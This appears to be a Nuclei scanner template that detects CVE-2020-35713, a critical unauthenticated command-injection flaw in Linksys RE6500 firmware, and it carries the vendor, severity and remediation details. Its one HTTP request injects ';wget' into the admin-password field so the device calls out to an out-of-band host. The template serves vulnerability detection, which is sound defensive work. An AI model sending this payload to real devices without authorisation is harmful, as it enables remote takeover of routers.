id: CVE-2020-35713

info:
  name: Belkin Linksys RE6500 <1.0.012.001 - Remote Command Execution
  author: gy741
  severity: critical
  description: Belkin LINKSYS RE6500 devices before 1.0.012.001 allow remote attackers to execute arbitrary commands or set a new password via shell metacharacters to the goform/setSysAdm page.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected device.
  remediation: |
    Update the Belkin Linksys RE6500 firmware to version 1.0.012.001 or later.
  reference:
    - https://downloads.linksys.com/support/assets/releasenotes/ExternalReleaseNotes_RE6500_1.0.012.001.txt
    - https://resolverblog.blogspot.com/2020/07/linksys-re6500-unauthenticated-rce-full.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35713
    - https://bugcrowd.com/disclosures/72d7246b-f77f-4f7f-9bd1-fdc35663cc92/linksys-re6500-unauthenticated-rce-working-across-multiple-fw-versions
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-35713
    cwe-id: CWE-78
    epss-score: 0.93609
    epss-percentile: 0.99843
    cpe: cpe:2.3:o:linksys:re6500_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: linksys
    product: re6500_firmware
  tags: cve,cve2020,linksys,rce,oast,router,vkev,vuln

http:
  - raw:
      - |
        POST /goform/setSysAdm HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/login.shtml

        admuser=admin&admpass=;wget http://{{interactsh-url}};&admpasshint=61646D696E=&AuthTimeout=600&wirelessMgmt_http=1

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 490a0046304402206f1e46a406b553e996ed78a5fa10a97c85f4e8fd4ed750c41d132b7f8a11beb202203fc7a722dbbc241467ae70f0b1193adb2481e40f3ec63fa795db447ae5c3baab:922c64590222798bb761d5b6d8e72950